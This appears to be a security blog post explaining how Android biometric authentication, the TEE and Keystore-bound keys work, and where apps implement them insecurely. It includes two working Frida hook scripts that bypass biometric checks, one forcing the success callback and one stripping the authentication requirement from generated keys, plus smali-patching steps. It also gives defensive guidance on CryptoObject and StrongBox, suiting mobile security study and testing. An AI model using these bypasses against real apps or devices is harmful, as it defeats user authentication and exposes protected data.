How Android Biometric Authentication Works and Where It Fails
The Two Ways to Implement It
How Android Biometric Authentication Works and Where It Fails

The Two Ways to Implement It
Android’s BiometricPrompt API looks simple from the outside: show a dialog, wait for a callback, do something when the user authenticates. But there are two fundamentally different ways to implement it, and one of them is trivially bypassable.
The difference is whether the app uses a CryptoObject or not.
App uses BiometricPrompt
├─> Without CryptoObject: boolean result
│ └─> Bypassable with a two-line Frida script
└─> With CryptoObject: biometric-bound cryptographic key
└─> Bypass requires attacking the TEE (hardware-isolated secure processor)
To understand why, you need to understand what the system is actually doing when a user touches the fingerprint sensor.
How the Stack Works
For now, think of the TEE as a black box running inside your phone’s chip that Android cannot read or write to. It has its own memory, its own execution environment, and its own keys. The rest of the OS can ask it to do things, but cannot see inside it.
When a user enrolls a fingerprint or face in the device settings, the sensor captures the raw biometric data and sends it directly into the TEE. The TEE processes it and stores a mathematical representation (a template) internally. That template never leaves the TEE, not to the Android OS, not to apps, not even to root. The raw biometric data is discarded after enrollment.
When an app calls BiometricPrompt.authenticate(), the request travels through several layers before any biometric data is read:
App (normal world)
└─> BiometricPrompt API (androidx.biometric)
└─> BiometricService (system process)
└─> Biometric HAL (Hardware Abstraction Layer)
└─> TEE (Trusted Execution Environment)
└─> Sensor driver
The TEE is the critical layer. It’s an isolated execution environment, separate from the Android OS, running on the same SoC (System on a Chip) via ARM TrustZone.
Biometric templates (the stored fingerprint or face model) never leave the TEE. The sensor collects raw data, sends it into the TEE, and the TEE runs the matching algorithm internally. The only thing that comes back to the normal world is a match result.
When a match succeeds, the TEE records internally that this user authenticated at a given time. The Android Keystore checks that record before allowing any operation with a biometric-bound key. If the authentication is recent enough, the operation proceeds. If not, it throws UserNotAuthenticatedException.
Biometric Classes
Not all biometrics are equal. Android classifies them into three tiers:
Class 1 (Convenience): Lowest security. Some face unlock implementations fall here. Can unlock the screen, but cannot be used to authorize cryptographic operations with Keystore-bound keys in strict implementations.
Class 2 (Weak): Standard fingerprint sensors, basic face detection with anti-spoofing. Can be used with setUserAuthenticationRequired(true) on Keystore keys. Good enough for most app authentication flows.
Class 3 (Strong): Highest tier. Requires liveness detection, a very low false acceptance rate, and dedicated secure processing. Required for payment authorization and the most sensitive Keystore operations.
Apps can specify the minimum class they’ll accept:
BiometricManager.canAuthenticate(BiometricManager.Authenticators.BIOMETRIC_STRONG)
In practice, most apps that use biometrics for convenience (unlocking the app) use Class 2. Apps handling payments or decrypting sensitive local data should use Class 3.
The Keystore Integration
The secure path ties biometric authentication to a cryptographic key stored in the Android Keystore. The key has nothing to do with the biometric template. It does not contain biometric data and is not derived from the fingerprint. The template is used to verify identity. The key is what the app uses to encrypt or decrypt data. The connection between them is a condition: when the TEE verifies a fingerprint match, it records internally that the user just authenticated. That record is what unlocks access to the key. Until the TEE confirms a valid recent authentication, the key is inaccessible.
The key is generated with setUserAuthenticationRequired(true):
KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(
"my_key",
KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT
)
.setBlockModes(KeyProperties.BLOCK_MODE_CBC)
.setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7)
.setUserAuthenticationRequired(true)
.build();
KeyGenerator keyGen = KeyGenerator.getInstance(KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore");
keyGen.init(spec);
keyGen.generateKey();
The key lives in the TEE. It cannot be exported. When the app tries to initialize a Cipher with this key and the user hasn't recently authenticated, the call throws UserNotAuthenticatedException.
When biometric auth succeeds, the TEE records the timestamp. For a brief window after that, operations with the key are permitted. The app passes the initialized Cipher to BiometricPrompt as a CryptoObject:
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS7Padding");
SecretKey key = (SecretKey) keyStore.getKey("my_key", null);
cipher.init(Cipher.ENCRYPT_MODE, key);
BiometricPrompt.CryptoObject cryptoObject = new BiometricPrompt.CryptoObject(cipher);
biometricPrompt.authenticate(cryptoObject, cancellationSignal, executor, callback);
If authentication succeeds, onAuthenticationSucceeded receives an AuthenticationResult containing the same CryptoObject. The cipher is now authorized and cipher.doFinal() will work.
The Vulnerable Pattern
Many apps skip the CryptoObject entirely and just check that the callback fired:
biometricPrompt.authenticate(cancellationSignal, executor, new BiometricPrompt.AuthenticationCallback() {
@Override
public void onAuthenticationSucceeded(BiometricPrompt.AuthenticationResult result) {
isAuthenticated = true;
unlockFeature();
}
@Override
public void onAuthenticationFailed() {
showError("Authentication failed");
}
});
There’s no key, no cipher, no cryptographic proof that authentication happened. The app trusts the callback. onAuthenticationSucceeded won't fire on its own without a real match, but onAuthenticationFailed and onAuthenticationError will fire when the user cancels or puts the wrong finger. The bypass hooks those two and converts them into a success call:
Java.perform(() => {
const AuthCallback = Java.use("androidx.biometric.BiometricPrompt$AuthenticationCallback");
AuthCallback.onAuthenticationFailed.implementation = function() {
console.log("[+] onAuthenticationFailed -> triggering success");
this.onAuthenticationSucceeded(null);
};
AuthCallback.onAuthenticationError.overload(
"int", "java.lang.CharSequence"
).implementation = function(code, msg) {
console.log("[+] onAuthenticationError -> triggering success");
this.onAuthenticationSucceeded(null);
};
});
Any failed or cancelled attempt now triggers the success path. The user just needs to open the biometric dialog and dismiss it.
Why CryptoObject Stops This
When the app uses CryptoObject, hooking the callback alone is not enough. The success callback hands the app a Cipher that was authorized by the TEE. Inside onAuthenticationSucceeded, the app calls cipher.doFinal() to actually encrypt or decrypt something.
If you trigger the callback without real biometric authentication having occurred, the Cipher was never authorized. Calling cipher.doFinal() throws UserNotAuthenticatedException. The Keystore enforcement happens inside the TEE, below any layer Frida can reach.
A concrete example of what secure usage looks like on the app side:
biometricPrompt.authenticate(cryptoObject, cancellationSignal, executor,
new BiometricPrompt.AuthenticationCallback() {
@Override
public void onAuthenticationSucceeded(BiometricPrompt.AuthenticationResult result) {
// The cipher inside the CryptoObject is now TEE-authorized
Cipher cipher = result.getCryptoObject().getCipher();
byte[] decrypted = cipher.doFinal(encryptedData);
loadUserData(decrypted);
}
@Override
public void onAuthenticationFailed() {
showError("Authentication failed");
}
});
Even if you hook onAuthenticationSucceeded and call it yourself, result.getCryptoObject().getCipher() holds a Cipher that was never authorized by the TEE. cipher.doFinal() throws UserNotAuthenticatedException regardless of what happened at the Java layer.
To bypass this, you need to attack the key generation itself so the key is created without the authentication constraint. One approach is patching smali: find the KeyGenParameterSpec.Builder call, remove setUserAuthenticationRequired(true), uninstall the app to force the key to be regenerated, and reinstall the patched version. The next time the app creates the key, it does so without the constraint, and the callback hook works from that point on.
A cleaner approach that requires no recompilation is hooking setUserAuthenticationRequired directly with Frida and making it a no-op:
Java.perform(() => {
const Builder = Java.use("android.security.keystore.KeyGenParameterSpec$Builder");
Builder.setUserAuthenticationRequired.implementation = function(required) {
console.log("[+] setUserAuthenticationRequired(" + required + ") -> forced to false");
return this.setUserAuthenticationRequired(false);
};
});
With this hook running, any key the app generates will have no authentication requirement regardless of what the original code passes. Uninstall the app first to delete the existing key, then reinstall and launch with the hook active. The app regenerates the key without the constraint, and from that point the callback bypass works.
The Validity Duration Weakness
Some apps use setUserAuthenticationValidityDurationSeconds() when generating the key:
new KeyGenParameterSpec.Builder("my_key", KeyProperties.PURPOSE_ENCRYPT)
.setUserAuthenticationRequired(true)
.setUserAuthenticationValidityDurationSeconds(300) // 5 minutes
.build();
This creates a time window: after one successful biometric auth, the key can be used for 300 seconds without re-authenticating. The intent is convenience. The result is a window an attacker can exploit.
If you can authenticate once (by social engineering, shoulder surfing, or waiting for the user to authenticate normally), you have five minutes to use the key as many times as you want. Larger validity durations make this worse. Some apps set values like 3600 seconds or more, which largely defeats the purpose.
Apps that need per-operation security should not set this value at all, or set it to 0, which requires biometric authentication before every key operation.
So How Do You Actually Secure This?
Using CryptoObject correctly raises the bar significantly, but the key generation itself can still be attacked by hooking setUserAuthenticationRequired before the key is created. The bypass requires more effort and device access, but it is not impossible.
The answer that closes this attack path is StrongBox. Keys backed by StrongBox are generated inside a dedicated secure processor physically separate from the main chip. On Pixel devices this is the Titan M2. The key generation parameters are enforced by that processor’s own firmware, not by Android. Hooking setUserAuthenticationRequired at the Java layer still sends the modified parameters down the stack, but StrongBox enforces its own policies independently of what arrives from Android. On top of that, StrongBox applies hardware rate limiting: after several failed authentication attempts it starts locking out with increasing delays, making brute force impractical.
Most apps do not use StrongBox, either because they did not explicitly request it with setIsStrongBoxBacked(true) or because they want compatibility with devices that do not have it. But for anything that needs to hold against an attacker with physical device access and the ability to run Frida, StrongBox is the only option that closes the gap. The internals of StrongBox and how attestation ties into verifying it remotely deserve their own article.
This post is intended for security professionals and researchers. The techniques described here are shared for educational purposes in the context of security research and mobile application security testing. Do not use this information to access systems or services without explicit authorization.
메타데이터
- post_id
- 2b6f95faa91a
- slug
- how-android-biometric-authentication-works-and-where-it-fails-2b6f95faa91a
- url
- https://medium.com/@cr0nos/how-android-biometric-authentication-works-and-where-it-fails-2b6f95faa91a
- canonical_url
- https://medium.com/@cr0nos/how-android-biometric-authentication-works-and-where-it-fails-2b6f95faa91a
- author_url
- https://medium.com/@cr0nos
- status
- ok
- fetched_at
- 2026-06-22 12:55:45